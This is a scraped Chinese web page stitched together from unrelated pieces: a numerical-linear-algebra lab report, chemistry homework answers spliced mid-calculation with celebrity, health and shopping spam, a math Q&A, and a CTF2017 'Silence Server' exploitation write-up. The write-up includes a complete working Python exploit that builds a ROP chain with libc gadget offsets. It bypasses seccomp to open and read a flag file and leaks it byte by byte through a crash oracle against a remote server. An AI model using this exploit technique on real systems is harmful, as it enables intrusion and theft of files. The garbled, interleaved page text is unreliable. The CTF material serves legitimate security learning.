第九kkt条件例题求解解

数值代数上机第九题答案-土地公文库
数值代数上机第九题答案
数值代数上机第九题答案
数值代数上机第九题答案 隐藏&& 解线性方程组的迭代法张珊珊 信息与计算科学 1 班
1.摘要:本次实验是关于病态的线性方程组的求解问题,涉及了 Gauss ...
解线性方程组的迭代法张珊珊信息与计算科学1班1.摘要:本次实验是关于病态的线性方程组的求解问题,涉及了Gauss消去法、J迭代法、GS迭代法和SOR迭代法等求解方法,来进一步研究病态问题求解的方法。2.关键词:病态的线性方程组,Hilbert矩阵,J迭代法,GS迭代法,SOR迭代法3.正文问题提出:理论的分析表明,求解病态的线性方程组是困难的。实际情况是否如此,会出现怎样的现象呢?实验内容:考虑方程组Hx=b的求解,其中系数矩阵H为Hilbert矩阵,i?j?1这是一个著名的病态问题。通过首先给定解(例如取为各个分量均为1)再计算出右端b的办法给出确定的问题。H?(hi,j)n?n,hi,j?1,i,j?1,2,?,n实验要求:(1)选择问题的维数为6,分别用Gauss消去法、J迭代法、GS迭代法和SOR迭代法求解方程组,其各自的结果如何?将计算结果与问题的解比较,结论如何?(2)逐步增大问题的维数,仍然用上述的方法来解它们,计算的结果如何?计算的结果说明了什么?(3)讨论病态问题求解的算法建立数学模型:本题的可用Gauss消去法、J迭代法、GS迭代法和SOR迭代法这四种方法进行求解n*nn*n(1)、Gauss消去法,列主元Gauss消去法是指设A?R则存在排列矩阵P?R,以及单位下三角阵L?R和上三角阵U?R,使得最终得到分解PA=LU。(2)、Jacobi迭代法是指考虑非奇异线性代数方程组AX=b.令A=D-L-U,其中L为主对角线为0的下三角矩阵,U为主对角线为0的上三角矩阵.则可以写成x?By?g,其中由此推出 B?D?1n*nn*nD?diag(a11,a22,...,ann),(L?U),g?Db.?1。k?1,2,3. ..xk?Bxk?1?g,这就是Jacobi迭代格式。(3)、G-S迭代法可以写成?1xk?(D?L)Uxk?1?(D?L)b.?1(4)、超松弛(SOR)的计算公式可写为?1 ?1xk?1?xk?w?x?(1?w)xk?w(DLxk?1?DUxk?Db)?1当w&1时叫超松弛;当w&1时叫低松弛;当w=1时就是G-S迭代。求解过程:当n=6时,分别应用Gauss消去法、J迭代法、GS迭代法和SOR迭代法这四种方法进行求解,第1 / 4页
全文分4页阅读【化学】化学 第9题求解&-学路网-学习路上 有我相伴
化学 第9题求解&
来源:互联网 &责任编辑:王小亮 &
下列化学用语中,书写正确的是&nb...C试题分析:元素用元素符号表示;原子用元素符号表示,若表示原子个数,就在元素符号前标上适当的数字;分子用化学式表示,表示分子的个数,就在化学式前加上适当数字表示;离...下列化学用语中,书写正确的是&nb...+,A错;氧化铝的化学式为Al2O3,B错;五氧化二磷分子的化学式为P2O5,C正确;、.氖气的化学式为Ne,D错。选C。点评:本题考查了离子符号与化学式的书写,是一道基础题。下列各项化学用语表达正确的是&nb...D氯化钠是离子化合物,电子式为。次氯酸中氧是-2价的,结构式为H-O-Cl。CO2分子的比例模型为。所以正确的答案是D。用化学符号表示:3个氧分子&nb...3O2;2Ba;Na+;2Fe2+;2Al3+;;KCl;Na2CO3;Fe(NO3)3.下列变化中,属于化学变化的是&nb...C&&本题考查的是化学变化和物理变化的判别。化学变化是指有新物质生成的变化,物理变化是指没有新物质生成的变化,化学变化和物理变化的本质区别是是否有...化学第9题求解&(图2)化学第9题求解&(图4)化学第9题求解&(图6)化学第9题求解&(图9)化学第9题求解&(图11)化学第9题求解&(图16)这是用户提出的一个化学问题,具体问题为:化学 第9题求解&下列变化中,属于化学变化的是&nb...C&&本题考查的是化学变化和物理变化的判别。化学变化是指有新物质生成的变化,物理变化是指没有新物质生成的变化,化学变化和物理变化的本防抓取,学路网提供内容。学路网 www.xue63.com 学路网 www.xue63.com 下列变化中,属于化学变化的是&nb...C分析:化学变化是指有新物质生成的变化.物理变化是指没有新物质生成的变化.化学变化和物理变化的本质区别是否有新物质生成.解:A、蜡烛融化的过程中没有新物防抓取,学路网提供内容。我们通过互联网以及本网用户共同努力为此问题提供了相关答案,以便碰到此类问题的同学参考学习,请注意,我们不能保证答案的准确性,仅供参考,具体如下:下列变化中,属于化学变化的是&nb...A化学变化是指有新物质生成的变化,物理变化是指没有新物质生成的变化,化学变化与物理变化的本质区别是有无新物质生成,据此抓住化学变化和物理变化的区别结合事防抓取,学路网提供内容。用户都认为优质的答案:下列现象中一定有化学变化的是&nb...D防抓取,学路网提供内容。设原平衡体系中SO2 O2 SO3 的物质的量分别为2x 3x 4x 缩小体积后平衡正向移动,设O2的转化率为n则:2SO2+O2==2SO3起始:2x 3x 4x平:2x-2n 3x-n 4x+2n有方程组:3x-n=0.8mol 4x+2n=1.4mol x=0.3 n=0.4则:缩小后的n(SO2)=2x-2n=2(0.3-0.1)=0.4mol答案满意的话别忘了采纳哦!下列变化中,属于化学变化的是&nb...A防抓取,学路网提供内容。======以下答案可供参考======下列物质的化学式书写错误的是&nb...化合物名称中为铁时,铁显+3价,为亚铁时,铁显+2价.盐酸根中氯元素显-1价,硫酸根中硫元素显+6价.由物质的名称和化学式及常见元素的化合价,可以用化合防抓取,学路网提供内容。供参考答案1:化学此题怎么做。答案尽量详细(第九题啊答:开始通入氮气主要考虑氮气在这个反应里面是惰性气体,不会反应,同时空气里面氧气会和C发生反应,所以通入氮气就是为了排尽系统里面的空气;第二空的话是一氧化碳,因为防抓取,学路网提供内容。选A,需要过程么?化学第9题求解答:(1)调节分液漏斗的活塞;(2)C;(3)C试题分析:根据装置的特点可知(1)实验中,若产生氧气的速率太大,不利于收集。为了减小反应速率,可以进行的合理操作是调节分液漏斗的活塞,使双防抓取,学路网提供内容。供参考答案2:初三化学,第九题,跪求解析,第十题,也不会。。。。答:9原子数,电子数相同,为等电子体,选DA原子数都是3个,电子数一个是10,一个是22,所以错B原子数都是3,电子数一个是38,一个是30,错C原子防抓取,学路网提供内容。A,设反应前比例为2x:3x:4x,A为反应后SO2的量,6X=1.4+A,2X-A=2(3x-0.8),解两方程得,X=0.3,A=0.4这个化学题怎么做?第九题和第十题。。会一题也行答:9.B!碳酸单酯:-O-C5H118个异构体碳酸二酯:-O-CH3-O-C4H94个异构体碳酸二酯:-O-C2H5-O-C3H72个异构体防抓取,学路网提供内容。供参考答案3:第九题高一化学答:六十克碳是5摩尔,最外层电子数是4,所以第一空5NA*4=20NAC的质子数6,5NA*6=30NA防抓取,学路网提供内容。A 设原先三者物质的量分别为2X 3X 4X,当平衡改变时,分别改变的物质的量为2Y Y 2Y图中的第九题,是化学题,求详细步骤。答:爆炸的强烈程度与反应放出的热和其他吸热的物质多少相关。放出出的热越多,吸热的物质越少,爆炸程度越强烈。题中要得到最强烈的爆炸:1.需要甲烷全部反应,这样才能保证防抓取,学路网提供内容。3X-Y=0.8
解出来X和Y
第二次平衡的SO2物质的量为2X-2Y高三化学。请问一下第9题怎么做。还有那个图怎么读...答:选C防抓取,学路网提供内容。原理就是平衡的改变导致反应向右移
三个物质的物质的量按照方程式 发生相应比例的改变图片中高中化学物第9题不懂,盼高手详细分析讲解,...答:A,苯酚钠溶液通入足量CO2C6H5O-+CO2+H2O=C6H5OH+HCO3-产生浑浊说明有苯酚产生,强酸制取弱酸原理可知酸性H2CO3&防抓取,学路网提供内容。供参考答案4:无机化学讲第9题哪错了答:还原性大小应当是Fe&Fe2+&Fe3+。防抓取,学路网提供内容。选:A解析:设第一次平衡时每种物质的物质的量分别为2a,3a,4a,第二次平衡时SO2为xmol;图片中高中化学第9题不懂,盼高手详细分析讲解,谢...答:首先这是个原电池,所以负极一定是金属失电子,而不会是阴离子失电子被还原,也就不可能会生成氯气。再者,原电池一定要依据事实。根据D项的条件,发生防抓取,学路网提供内容。减少体积,则平衡正向移动,生成SO3防抓取,学路网提供内容。
2SO3吴昕加入“快乐家族”已经有11年的时间,一路走来她经历了太多白眼,好在她足够努力,不急不躁地一步步变强大。近日,她跟潘玮柏录制综艺节目《我们相爱吧3》,剪短了头发,新造型干净利落,却被网友群嘲说“好丑防抓取,学路网提供内容。n平(1)
4a  排卵期有什么症状  1、食欲下降:研究表明女性在排卵期的饭量是一个月经周期中最低的,专家指出这是人类的自然本能保留至今的结果――排卵期的雌性动物会将更多的注意力放在寻找异性交配上,而不是寻找食物。防抓取,学路网提供内容。n(转换)
2a-x  琥珀由于颜色艳丽收到了不少人的喜爱,不过琥珀品种繁多,怎么选择适合自己的呢?MQ水晶小铺的小编来帮你解答一下这个问题,喜欢的可以点个关注,教你更多文玩知识哦!  明谢肇J《五杂俎?物部四》:“琥珀防抓取,学路网提供内容。n平(2)
1.4家长管得越多,孩子不一定差,但肯定会受到影响。举个真实的例子,大姐家的老大从小就特别优秀。为此,做生意的大姐为了孩子去更好的学校读书,放弃自己在县里的生意,去市里给孩子当陪读。在市里的学区房里,大姐全防抓取,学路网提供内容。根据三行式列得等式恢复手机短信的话,现在方法非常的多,你可以选择在手机上直接进行恢复,想要恢复手机短信,那你就在手机上下载一个手机数据恢复精灵就可以了。1.打开手机任意的浏览器,在搜索框中搜索并下载“手机数据恢复精灵”防抓取,学路网提供内容。3a-(2a-x)/2=0.8著名主持人金星就曾经在节目中发飙过。在中国好舞蹈第十一期的录制中,因为选手穿着暴露而发飙,要求选手换了装再上场,她说:这都什么啊?是跳舞吗?就在看女孩内裤了!在舞林争霸中,因为评选有内幕而不顾全场愤然防抓取,学路网提供内容。4a+(2a-x)=1.4在农村花10万左右买车,其实预算已经不算是很低了。今天,小编就从轿车和SUV和MPV中,分别挑选车型来做推荐,方便咱们小伙伴们选择。首先一点的要求就是配置要高,并不能很落伍,其次一点就是在经济燃油性上防抓取,学路网提供内容。解方程a=0.3molBOVET是在清朝年间进入的中国,主攻市场也是中国,当时在清朝尤其是南方地区非常之有名(因为当时BOVET总部就设在广州)。但是时光荏苒,现在的BOVET是一个小众的独立制表品牌,价格很高昂,单从价格防抓取,学路网提供内容。
x=0.4mol鸡缸杯是指以鸡为装饰主题的斗彩瓷杯、碗等。明朝成化年间开始生产斗彩鸡缸杯。成化帝曾因观赏宋代子母鸡图而十分感慨,母鸡护雏卫幼、抚育稚子是成化帝钟情子母鸡纹的一大源由。明成化斗彩鸡缸杯受到了历代收藏家的防抓取,学路网提供内容。下列变化中,属于化学变化的是&nb...C分析:化学变化是指有新物质生成的变化.物理变化是指没有新物质生成的变化.化学变化和物理变化的本质区别是否有新物质生成.解:A、蜡烛融化的过程中没有新物质生成,属...下列变化中,属于化学变化的是&nb...A化学变化是指有新物质生成的变化,物理变化是指没有新物质生成的变化,化学变化与物理变化的本质区别是有无新物质生成,据此抓住化学变化和物理变化的区别结合事实进...下列现象中一定有化学变化的是&nb...D下列变化中,属于化学变化的是&nb...A
相关信息:
- Copyright & 2017 www.xue63.com All Rights Reserved第九题求解,谢谢_百度知道
第九题求解,谢谢
我有更好的答案
3X-9=0, X=31/2Y+1=0Y=-2把X=3,Y=-2代入所求的方程1/3×3-1/2×(-2)=Z+5/6Z+5/6=2Z+5=12Z=7
采纳率:75%
|3x-9|,X=3|1/2y+1|,y=-2代入:2=(z+5)/6z=7
零加零型题
绝对值非负
为您推荐:
其他类似问题
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。[原创]CTF2017 第九题 Silence Server 解题报告
CTF2017 第九题 Silence Server前言这题又是一个 pwn,促使我觉得自身的水平实在不够(第四题就用完了),就去学习各路 dalao 的 writeup,体会到几个工具的便利,替换我之前用命令行查看程序安全特征,替换我之前用的 python 自带库 subprocess/telnetlib,别人都在用,用的人都说叼,我还是手动靠谱学到几个 pwn 关键词ROP 就是复写函数返回堆栈之后一系列的堆栈内容的集合gadget 就是在所有已确认的二进制文件中可利用的代码片段在做这题的过程中踩了无数坑,我会在 writeup 中提到部分坑点(毕竟踩完坑才能写出这篇)这题&可谓集大成也&,我会分 反汇编、pwn 两大部分阐明反汇编主函数主函数流程比较简单,就不贴代码了设置 seccomp 规则(后详)获取 虚拟机指令码执行 虚拟机获取虚拟机指令码图1一上来就要解个8元线性方程组,用 python 写个import&numpy&as&np
a&=&np.array([
&&&&[3,&1,&2,&2],
&&&&[2,&1,&2,&2],
&&&&[2,&2,&2,&2],
&&&&[2,&2,&3,&1],
&&&&[1,&1,&2,&2],
&&&&[1,&2,&1,&1],
&&&&[2,&2,&2,&3],
&&&&[2,&3,&2,&2]
b&=&np.array([883204])
r&=&np.linalg.solve(a,b)
print&str(bytearray(np.rint(r).astype(np.uint8))).encode(&hex&)解出 key 为 23352根据 图2 画框几处特征辨析为 des 的 set_key 过程图2记录坑点,之前我并没有仔细看 des_cbc 函数内的算法,就拿普通的 des_ecb 做了测试,发现解密的结果不对,然后就偷懒直接改函数最后一个参数(mode 0解密,1加密)让程序帮我生成密文,直到后面实在需要自动生成 payload 之后才回过头看这个根据 图1 和 图3 几处特征,①加密函数需要比 ecb 多传一个参数 IV,并且 IV 就是 key 本身,②加密时先用 IV 与 明文 异或,再用结果加密符合 cbc 特点图3执行虚拟机该部分代码很长也比较晦涩,感觉要纯靠经验和耐心看完,所以我只附上虚拟机的指令解释。这个虚拟机是基于堆栈的虚拟机,函数内有个 1000 字节的堆栈数组变量,我就命名为 buf 吧(其实命名 stack 更合理),本文之后出现的 buf 没特殊说明外均指该数组,命名 栈顶指针 为 bufp,定义 次顶层堆栈 为 栈次(bufp-1)指令码(10)描述操作栈顶变动16正数加法[bufp-1] = [bufp] + [bufp-1]bufp--17正数减法(差也要是正数)[bufp-1] = [bufp] - [bufp-1]bufp--18正数乘法[bufp-1] = [bufp] * [bufp-1]bufp--19正数除法[bufp-1]...[bufp] = [bufp] / [bufp-1]20取值(栈顶原值 buf 偏移)[bufp] = buf[[bufp]]21赋值(栈顶 buf 偏移,赋栈次值)buf[[bufp]] = [bufp-1]bufp-=222PUSH(8字节立即数参数)[bufp+1] = iptbufp++23负号变换(用不了)24负号加法(用不了)25负号减法(用不了)26小于比较ok = [bufp] & [bufp-1]bufp-=227jmp 跳转(栈顶 代码偏移)ip += [bufp]bufp--28jge 跳转(根据 ok 结果)ip += [bufp]bufp--29nop30jl 跳转(根据 ok 结果)ip += [bufp]bufp--31exit有几个坑点要注意指令结束,栈空则崩溃(bufp == buf)指令完整执行完,也崩溃,一定要用 exit 退出反汇编总结我们有在 执行虚拟机 函数内随意而又精准得操控 buf 变量之后堆栈的能力,能在这个函数末尾构建 ROPPWN函数安全扫描看到 dalao 们一开始都会做这个,学习一下&./checksec.sh --file Silence_ServerRELROSTACK CANARYNXPIERPATHRUNPATHFILEFull RELROCanary foundNX enabledPIE enabledNo RPATHNo RUNPATHSilence_ServerFull RELRO + PIE enabled = 有 ASLRCanary found = 函数有堆栈保护NX enabled = 堆栈代码不可执行seccompseccomp 是个能在程序中开启的沙盒,能根据规则限制自身以及子进程的 syscall 访问,先贴个代码看程序准我们干什么void&seccompinit()
&&LODWORD(ctx)&=&seccomp_init(0LL);
&&if&(&!ctx&)
&&&&LODWORD(v0)&=&0;
&&&&BUG();
&&seccomp_arch_add(ctx,&0xC000003ELL);&&&&&&&&&&//&SCMP_ARCH_X86_64
&&allow_syscall(ctx_,&0);&&&&&&&&&&&&&&&&&&&&&&&//&sys_read
&&allow_syscall(ctx_,&2u);&&&&&&&&&&&&&&&&&&&&&&//&sys_open
&&allow_syscall(ctx_,&3u);&&&&&&&&&&&&&&&&&&&&&&//&sys_close
&&allow_syscall(ctx_,&4u);&&&&&&&&&&&&&&&&&&&&&&//&sys_newstat
&&allow_syscall(ctx_,&5u);&&&&&&&&&&&&&&&&&&&&&&//&sys_newfstat
&&allow_syscall(ctx_,&6u);&&&&&&&&&&&&&&&&&&&&&&//&sys_newlstat
&&allow_syscall(ctx_,&7u);&&&&&&&&&&&&&&&&&&&&&&//&sys_poll
&&allow_syscall(ctx_,&8u);&&&&&&&&&&&&&&&&&&&&&&//&sys_lseek
&&allow_syscall(ctx_,&12u);&&&&&&&&&&&&&&&&&&&&&//&sys_brk
&&allow_syscall(ctx_,&59u);&&&&&&&&&&&&&&&&&&&&&//&stub_execve
&&seccomp_load(ctx_);
}记录坑点,之前我还不知道 seccomp 沙盒机制的时候,看到放行了 execve,就自认为能调用system(&/bin/sh&)了,然后洋洋洒洒的写了一大板 ROP 准备测试。什么!!错误的系统调用,看来被 seccomp 限制住了,然后尝试&execve(&/bin/sh&,0,0)&也是一样,最后自己写个简易的测试代码,在这个规则下,连空程序都无法启动,血的教训,一定要先写测试代码尝试绕过 seccomp因为没有 write 的 syscall,这个规则下无法输出任何东西,我在想能不能尝试绕过呢在还是在不知道 seccomp 多强的情况下,我尝试自己调用 seccomp_release/seccomp_reset 等,都无法去除已调用 seccomp_load 被内核载入的规则搜到网上的一篇,里面提到用 retf 切换 cpu 成32位可以绕过过为64位写的规则,但文章里的题目堆栈是可执行 shellcode 的,也许这条路能走通,我没有深入柳暗花明我反复思考了规则内能使用的 syscall,都没有想出任何用法,没有 mprotect,不能把堆栈变为可执行,brk 也只能更改 映射的下限,其他的都是文件操作了,难道就没有路走了么?程序题干里,与第四题不同的是详细的说明了 flag 的路径/home/pwn/flag,提示了我这题应该要用 open 直接 read 内容突然脑袋里闪过这一题的标题 Silence Server,silence 是沉默的意思,我想到了一个就算不输出,不说话也能够交流的办法。我可以问程序:第一位是 a 么?不是的话程序退出了,是的话程序正常进行。这样考虑,就算不用说话只要它能听懂就能够交流出结果ROP 构思open 是可以使用的 syscall,我可以操控堆栈,把文件名用堆栈传给 openread 也可以使用,我可以在内存映射中找一块固定的可写的区域,存放读出文件内容记录坑点,之前我为了找 open 的返回(rax)转成 read 的参数(rdi),花了很久时间,结果突然想到,open 返回的是从 0 开始的数字,0/1/2 被系统内定成 标准输入输出 了,从 3 开始就能够被程序自身使用,一般情况下,就是 3 (这里考试要考)可以用 memcmp,文件内容的处字符和我指定位置的字符(可以随意找个有指定字符的地址,不用自己输入,很多地方都有)最后判断 memcmp 的结果,不一样就退出程序,一样就继续程序的执行gadget 寻找从构思看我们需要从堆栈转移到参数寄存器的利用点,64 位 linux,调用约定前三个参数是 rdi、rsi、rdx,大家也可以用 ROPgadget 工具,我用的是 keypatch 生成字节码,用 winhex 搜索 ret&(5F C3) Silence_Server +0xfe3 ret&(5E C3) libc.so +0x21747 ret&(5A C3) libcs.so +0xba6c0在 libc.so +0x1726C0 有个 0-255 的表图4需要一个判断 rax 假就退出的地方,这个地方就很完美图5顺便附上 虚拟机运行 的堆栈图,其他的代码里再详细解释图6获取代码因为服务器对传输敏感,send 间的延迟时间需要反复调整,记录坑点,调整这个时间也花了不少时间(没有经验),有时候还怀疑自己的 payload 有问题,但手动又没问题,本地也没问题,结果是在这个 sleep 上,代码里是经过多重考核的非常稳定的延迟时间。因为单字符测试等待的时间较久,设计成了参数模式用来多进程执行from&Crypto.Cipher&import&DES
import&struct
import&time
import&sys
def&enc(s):
&&&&key&=&&23352&.decode(&hex&)
&&&&des&=&DES.new(key,&mode=DES.MODE_CBC,&IV=key)
&&&&return&des.encrypt(s)
def&savebase(ori,&diff,&dst):
&&&&r&=&chr(22)&+&struct.pack(&&Q&,&diff)
&&&&#&↑压入地址与基址的偏移,作为减法的减数
&&&&r&+=&chr(22)&+&struct.pack(&&Q&,&ori)
&&&&r&+=&chr(20)
&&&&#&从&buf[ori]&获取值压入被减数,一般获取的是&ASLR&当前地址
&&&&r&+=&chr(17)
&&&&#&减完以后栈顶就成了想保存的&ASLR&当前基址了
&&&&r&+=&chr(22)&+&struct.pack(&&Q&,&dst)
&&&&r&+=&chr(21)
&&&&#&把基址存入&buf[dst]&的地方
&&&&return&r
def&savelibc():
&&&&#&调用堆栈中&__libc_start_main&返回地址在&buf[1013]&处
&&&&#&相对&libc.so&地址为&0x21B35,拿到基址存在&buf[999]
&&&&return&savebase(B35,&999)
def&saveexe():
&&&&#&调用堆栈中&虚拟机执行&返回地址在&buf[1009]&处
&&&&#&相对&Silence_Server&地址为&0xa4c,拿到基址存在&buf[998]
&&&&return&savebase(c,&998)
def&saversp():
&&&&#&buf[1015]&存了一个堆栈地址可以被利用
&&&&#&存的地址相对于&__libc_start_main&返回地址为&28*8(可以用&gdb&在启动时看到)
&&&&#&所以相对于&buf&的偏移就为&(1013&+&28)*8,拿到&buf地址&存在&buf[997]
&&&&return&savebase(1015,&(1013&+&28)*8,&997)
def&pushaddr(solt,&diff,&dst):
&&&&r&=&chr(22)&+&struct.pack(&&Q&,&diff)
&&&&#&↑压入地址与基址的偏移,作为加法的加数
&&&&r&+=&chr(22)&+&struct.pack(&&Q&,&solt)
&&&&r&+=&chr(20)
&&&&#&从&buf[solt]&获取值压入另一加数,一般获取的是&ASLR&当前基址
&&&&r&+=&chr(16)
&&&&#&加完以后栈顶就成了想使用的&ASLR&当前地址了
&&&&r&+=&chr(22)&+&struct.pack(&&Q&,&dst)
&&&&r&+=&chr(21)
&&&&#&把地址存入&buf[dst]&的地方
&&&&return&r
def&pushlibc(diff,&dst):
&&&&#&取出&libc.so&偏移后地址到&buf[dst]
&&&&return&pushaddr(999,&diff,&dst)
def&pushexe(diff,&dst):
&&&&#&取出&Silence_Server&偏移后地址到&buf[dst]
&&&&return&pushaddr(998,&diff,&dst)
def&pushrsp(diff,&dst):
&&&&#&取出&buf&偏移后地址到&buf[dst],和上面不同的是&diff&是按&buf&索引传入的
&&&&return&pushaddr(997,&diff*8,&dst)
def&pushim(im,&dst):
&&&&r&=&chr(22)&+&struct.pack(&&Q&,&im)
&&&&#&↑压入立即数到栈顶(只能是正数)
&&&&r&+=&chr(22)&+&struct.pack(&&Q&,&dst)
&&&&r&+=&chr(21)
&&&&#&将立即数保存到&buf[dst]
&&&&return&r
def&setp0(dst):
&&&&#&gadget:&pop&ret&在&Silence_Server&偏移&0xfe3&的地方
&&&&#&可以把下一个堆栈传入第一个参数
&&&&return&pushexe(0xfe3,&dst)
def&setp1(dst):
&&&&#&gadget:&pop&ret&在&libc.so&偏移&0x21747&的地方
&&&&#&可以把下一个堆栈传入第二个参数
&&&&return&pushlibc(0x21747,&dst)
def&setp2(dst):
&&&&#&gadget:&pop&ret&在&libcs.so&偏移&0xba6c0&的地方
&&&&#&可以把下一个堆栈传入第三个参数
&&&&return&pushlibc(0xba6c0,&dst)
def&makerop(idx,&cc):
&&&&#&返回地址在&buf[1009]
&&&&pos&=&1009
&&&&#&保存所有基址
&&&&rop&=&savelibc()
&&&&rop&+=&saveexe()
&&&&rop&+=&saversp()
&&&&#&构建ROP
&&&&rop&+=&setp0(pos);&pos&+=&1
&&&&rop&+=&pushrsp(1009&+&6,&pos);&pos&+=&1
&&&&#&↑第一个参数传预打开的文件名地址,指向6个堆栈后,之后会压入文件名
&&&&rop&+=&setp1(pos);&pos&+=&1
&&&&rop&+=&pushim(0,&pos);&pos&+=&1
&&&&#&第二个参数传只读打开(0)
&&&&rop&+=&pushlibc(0xE8A09,&pos);&pos&+=&1
&&&&#&调用&__open_nocancel,在&libc.so&偏移&0xE8A09
&&&&rop&+=&pushexe(0xFE0,&pos);&pos&+=&1
&&&&#&gadget:&pop&r14;pop&r15;ret&清除后两个堆栈,在&Silence_Server&偏移&0xFE0
&&&&#/home/pwn/flag&拆分成2部分&/home/pw&n/flag\0\0
&&&&rop&+=&pushim(long(&/home/pw&[::-1].encode(&hex&),&16),&pos);&pos&+=&1
&&&&rop&+=&pushim(long(&n/flag\0\0&[::-1].encode(&hex&),&16),&pos);&pos&+=&1
&&&&rop&+=&setp0(pos);&pos&+=&1
&&&&rop&+=&pushim(3,&pos);&pos&+=&1
&&&&#&第一个参数文件号,这个程序之前没文件打开一般都是&3
&&&&rop&+=&setp1(pos);&pos&+=&1
&&&&rop&+=&pushexe(0x207800,&pos);&pos&+=&1
&&&&#&第二个参数读出缓存,我选了&Silence_Server&偏移&0x207800&的地方
&&&&#&这个地方属于&data&段可写,因为是对齐部分,程序自身不可能用到
&&&&rop&+=&setp2(pos);&pos&+=&1
&&&&rop&+=&pushim(64,&pos);&pos&+=&1
&&&&#&第三个参数读取字节数,64字节就够了
&&&&rop&+=&pushlibc(0xE8BF9,&pos);&pos&+=&1
&&&&#&调用&__read_nocancel,在&libc.so&偏移&0xE8BF9
&&&&rop&+=&setp0(pos);&pos&+=&1
&&&&rop&+=&pushexe(0x207800&+&idx,&pos);&pos&+=&1
&&&&#&第一个参数待比较地址1,我传入的是读入内容的&idx&偏移,也就现在测第几个字符了
&&&&rop&+=&setp1(pos);&pos&+=&1
&&&&rop&+=&pushlibc(0x1726C0&+&cc,&pos);&pos&+=&1
&&&&#&第二个参数待比较地址2,在&libc.so&偏移&0x1726C0&的地方有个&0-255&的表可以利用
&&&&rop&+=&setp2(pos);&pos&+=&1
&&&&rop&+=&pushim(1,&pos);&pos&+=&1
&&&&#&第三个参数比较字节数,就比较一个字符
&&&&rop&+=&pushlibc(0x890C0,&pos);&pos&+=&1
&&&&#&调用&__memcmp_sse2,在&libc.so&偏移&0x890C0
&&&&rop&+=&pushexe(0xBB4,&pos);&pos&+=&1
&&&&#&gadget:&Silence_Server&偏移&0xBB4&的地方有个返回值&rax&判断
&&&&#&可以利用成字符不相等程序发生写0崩溃
&&&&rop&+=&pushim(0,&pos);&pos&+=&1
&&&&#&上面的函数返回前有个&rsp+8&的操作
&&&&rop&+=&pushexe(0xA36,&pos);&pos&+=&1
&&&&#&如果字符相等,又返回&main&中调用&获取输入&的地方
&&&&#&主要是为了使用里面的&read&函数
&&&&rop&+=&pushim(0,&pos);&pos&+=&1
&&&&#&上面的函数需要&rsp+4&保存返回长度,其实这条没有也可以
&&&&rop&+=&chr(22)&+&struct.pack(&&Q&,&0)
&&&&#&虚拟机执行完毕后必须栈不能空,要不崩溃
&&&&rop&+=&chr(31)
&&&&#&虚拟机代码不能执行完必须中途退出,要不崩溃(这两个什么鬼)
&&&&#&补充&nop&指令至8字节对齐,获取输入部分是&单位长度*8&的
&&&&roplen&=&len(rop)
&&&&for&_&in&xrange((roplen&+7)/8*8&-&roplen):
&&&&&&&&rop&+=&chr(29)
&&&&return&len(rop)/8,&enc(rop)
def&test(net,&ss,&ee):
&&&&ret&=&&&
&&&&import&pwn
&&&&for&ii&in&xrange(ss,&ee):
&&&&&&&&ok&=&False
&&&&&&&&for&cc&in&xrange(0x7F,&-1,&-1):&#小写字母多的话,从后面会快
&&&&&&&&&&&&if&cc&!=&0&and&cc&&=&0x20:
&&&&&&&&&&&&&&&&#&跳过不可见
&&&&&&&&&&&&&&&&continue
&&&&&&&&&&&&roplen,&rop&=&makerop(ii,&cc)
&&&&&&&&&&&&if&net:
&&&&&&&&&&&&&&&&p&=&pwn.remote(&211.159.216.90&,&51888)
&&&&&&&&&&&&else:
&&&&&&&&&&&&&&&&p&=&pwn.process(&/root/Silence_Server&)
&&&&&&&&&&&&time.sleep(0.5)
&&&&&&&&&&&&p.send(chr(roplen))&#&输入单位长度
&&&&&&&&&&&&time.sleep(0.5)
&&&&&&&&&&&&p.send(&23352&.decode(&hex&))&#&输入&des&密码
&&&&&&&&&&&&time.sleep(1)
&&&&&&&&&&&&p.send(rop)&#&发送&rop
&&&&&&&&&&&&time.sleep(1)
&&&&&&&&&&&&ok&=&True
&&&&&&&&&&&&try:
&&&&&&&&&&&&&&&&p.send(chr(1))
&&&&&&&&&&&&&&&&time.sleep(1)
&&&&&&&&&&&&&&&&p.send(chr(1))&#&一般要第二次发送才会触发网络异常
&&&&&&&&&&&&except:
&&&&&&&&&&&&&&&&ok&=&False
&&&&&&&&&&&&if&ok:
&&&&&&&&&&&&&&&&if&cc&==&0:
&&&&&&&&&&&&&&&&&&&&#&比较到字符串末尾&0&结束
&&&&&&&&&&&&&&&&&&&&print&&finish&
&&&&&&&&&&&&&&&&&&&&print&ret
&&&&&&&&&&&&&&&&&&&&sys.exit(0)
&&&&&&&&&&&&&&&&else:
&&&&&&&&&&&&&&&&&&&&#&打印该位置成功的字符
&&&&&&&&&&&&&&&&&&&&print&ii,&chr(cc)
&&&&&&&&&&&&&&&&&&&&ret&+=&chr(cc)
&&&&&&&&&&&&&&&&&&&&break
&&&&&&&&if&not&ok:
&&&&&&&&&&&&#&如果一个字符都没比较成功肯定出问题了
&&&&&&&&&&&&print&&what?&
&&&&&&&&&&&&sys.exit(0)
&&&&print&ret
test(True,&int(sys.argv[1]),&int(sys.argv[2]))
支付方式:
最新回复 (4)
学习了。libc中的push&& 再配合上pop&就可以将前返回用于下一个调用的第一个参数了。libc中还有pop&pop&ret。
没想到pwn也是这么好玩,学习学习
学习了。libc中的 再配合上就可以将前返回用于下一个调用的第一个参数了。libc中还有ret。
push& &ret& 这个我也是想了下,但没有搜,我想不会有这种奇怪的汇编吧,没想到真有
1.请先关注公众号。
2.点击菜单"更多"。
3.选择获取下载码。

我要回帖

更多关于 二次规划问题求解 的文章

 

随机推荐